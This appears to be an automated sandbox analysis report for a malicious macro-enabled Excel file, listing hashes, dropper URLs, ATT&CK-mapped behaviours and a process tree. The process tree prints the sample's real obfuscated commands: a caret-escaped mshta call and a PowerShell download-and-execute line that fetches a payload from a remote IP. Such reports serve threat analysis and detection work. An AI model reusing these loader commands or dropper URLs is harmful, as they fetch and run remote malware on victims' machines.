92f01f34d0d3d902538fa84268d937ddcbfb4e40234b4a97b1b50a227a002f1a

General

Target

92f01f34d0d3d902538fa84268d937ddcbfb4e40234b4a97b1b50a227a002f1a.xlsm
Size

115KB
MD5

12f7a6aa0a09e355bd70c8291ae682e2
SHA1

ea7943806f839e871bb5c957d64850ca66118577
SHA256

92f01f34d0d3d902538fa84268d937ddcbfb4e40234b4a97b1b50a227a002f1a
SHA512

df6ee800f9bf4b2e9a60b8a371031410416992b4b1806900fdfc4d399e5c5cdf5efc53d62ce3f8549bdbe3e88e20f4c4cf6662d8b826d4c0cb082a53d0afb2a4

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4036	2196	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
48	1112	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2644	1112	WerFault.exe	69

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2196	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2196	EXCEL.EXE
2196	EXCEL.EXE
2196	EXCEL.EXE
2196	EXCEL.EXE
2196	EXCEL.EXE
2196	EXCEL.EXE
2196	EXCEL.EXE
2196	EXCEL.EXE
2196	EXCEL.EXE
2196	EXCEL.EXE
2196	EXCEL.EXE
2196	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 3940	2196	EXCEL.EXE	64
PID 2196 wrote to memory of 3940	2196	EXCEL.EXE	64
PID 2196 wrote to memory of 4036	2196	EXCEL.EXE	67
PID 2196 wrote to memory of 4036	2196	EXCEL.EXE	67
PID 4036 wrote to memory of 1112	4036	cmd.exe	69
PID 4036 wrote to memory of 1112	4036	cmd.exe	69

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\92f01f34d0d3d902538fa84268d937ddcbfb4e40234b4a97b1b50a227a002f1a.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3940
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4036
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    PID:1112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:2232
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1112 -s 1716
      4⤵
      Program crash
      PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:1656

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 188 -p 1112 -ip 1112
1⤵
PID:3988

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2196-130-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

Filesize
64KB

Download
memory/2196-131-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

Filesize
64KB

Download
memory/2196-132-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

Filesize
64KB

Download
memory/2196-133-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

Filesize
64KB

Download
memory/2196-134-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

Filesize
64KB

Download
memory/2196-137-0x00007FFB86720000-0x00007FFB86730000-memory.dmp

Filesize
64KB

Download
memory/2196-138-0x00007FFB86720000-0x00007FFB86730000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads